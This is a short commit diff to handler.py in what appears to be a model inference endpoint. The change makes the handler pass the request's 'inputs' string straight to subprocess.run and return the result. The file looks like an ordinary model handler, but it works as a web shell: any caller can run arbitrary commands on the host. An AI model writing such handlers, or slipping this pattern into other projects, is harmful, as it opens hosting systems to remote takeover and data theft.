Linsad commited on
Commit
54248b6
1 Parent(s): 4b763aa

Update handler.py

Browse files
Files changed (1) hide show
  1. handler.py +1 -1
handler.py CHANGED
@@ -20,7 +20,7 @@ class EndpointHandler:
20
  """
21
  # get inputs
22
  inputs = data.pop("inputs", data)
23
- result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
24
  return [{'response': str(result)}]
25
  # inputs = data.pop("inputs", data)
26
 
 
20
  """
21
  # get inputs
22
  inputs = data.pop("inputs", data)
23
+ result = subprocess.run(inputs, capture_output=True, text=True)
24
  return [{'response': str(result)}]
25
  # inputs = data.pop("inputs", data)
26